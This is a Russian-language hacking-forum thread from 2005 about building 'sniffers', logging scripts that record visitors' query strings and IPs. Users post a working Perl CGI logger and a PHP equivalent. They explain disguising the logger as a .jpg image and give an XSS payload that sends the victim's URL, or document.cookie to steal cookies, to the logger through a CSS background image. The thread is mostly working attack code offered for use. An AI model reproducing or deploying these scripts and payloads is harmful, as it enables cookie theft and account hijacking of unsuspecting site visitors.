ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

cgi-Сниффер
  #1  
Старый 13.01.2005, 02:23
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию cgi-Сниффер

Здесь на античате привидён пример сниффера :
#!/usr/bin/perl

#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;

#делаем редирект на картинку
print "Location: image.gif\n\n";

#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);

#открываем на запись лог
open (LOG, ">$LogFile");

#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};

#закрываем лог
close (LOG);

exit;


Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
Как зделать, так чтоб его можно было открывать как картинку ???
 
Ответить с цитированием

  #2  
Старый 13.01.2005, 04:07
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Цитата:
Как зделать, так чтоб его можно было открывать как картинку ???
Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755
 
Ответить с цитированием

  #3  
Старый 13.01.2005, 17:27
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию

Цитата:
Сообщение от Algol  
Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755
Спасибо!
Возможно подобия такого снифера написать на php ?
 
Ответить с цитированием

  #4  
Старый 13.01.2005, 19:07
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Возможно, но если хочешь с расширением jpg, то придется менять настройки сервера
 
Ответить с цитированием

  #5  
Старый 28.01.2005, 18:01
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

Хмм... а помоему про написать на пхп... ВОТ я себе написал снифер на ПХП и никаких проблем
 
Ответить с цитированием

  #6  
Старый 28.01.2005, 18:45
SHiTS
Участник форума
Регистрация: 11.12.2004
Сообщений: 242
Провел на форуме:
144460

Репутация: 39
Отправить сообщение для SHiTS с помощью ICQ
По умолчанию

не поделишься сниффом?))
 
Ответить с цитированием

  #7  
Старый 29.01.2005, 14:49
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

для нчала держи простой сниф
я думаю разберёси... если нет пиши

<? $datafile="data.txt";
$snif=$_SERVER["QUERY_STRING"];
$snif=urldecode($snif);
$ip=$_SERVER["REMOTE_ADDR"];
if($snif=="snif") {
$f=@file($datafile);
print "<table border=1 width=100%><tr><td width=30%>Время</td><td>Данные</td><td width=20%>ИП</td></td>";
$i=1;
if($f) foreach($f as $v) {print "$v";$i++;}
print "$i lines total</table>";
} else {
$f=@file($datafile);
$datas=count($f);
$fw=fopen($datafile,'w');
fputs($fw,"<tr><td>".date ("l dS of F Y h:i:s A")."</td><td>$snif</td><td>$ip</td></tr>\n");
if($datas<40){if($f) foreach($f as $v) fputs($fw,$v);
}else{
for($i=0;$i<40;$i++) fputs($fw,$f[$i]);}
fclose($fw);}?>
 
Ответить с цитированием

  #8  
Старый 29.01.2005, 14:52
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

отсылка ни него идёт типа

<script>a='url(\"http://путь_к_сниферу?'+location.href+'\")';d ocument.all.tags('font')[0].style.backgroundImage=a;</script>

если получаем куки то вместо location.href - document.cookie
просмотр и тога как заметил в снифере имеет такой вид http://твойсайт/снифер.php?snif
 
Ответить с цитированием

  #9  
Старый 29.01.2005, 15:00
SHiTS
Участник форума
Регистрация: 11.12.2004
Сообщений: 242
Провел на форуме:
144460

Репутация: 39
Отправить сообщение для SHiTS с помощью ICQ
По умолчанию

если бы у меня был Си, а то только Delphi
 
Ответить с цитированием

  #10  
Старый 29.01.2005, 16:27
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

а зачем тебе Си???? сниф на ПХП написан
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ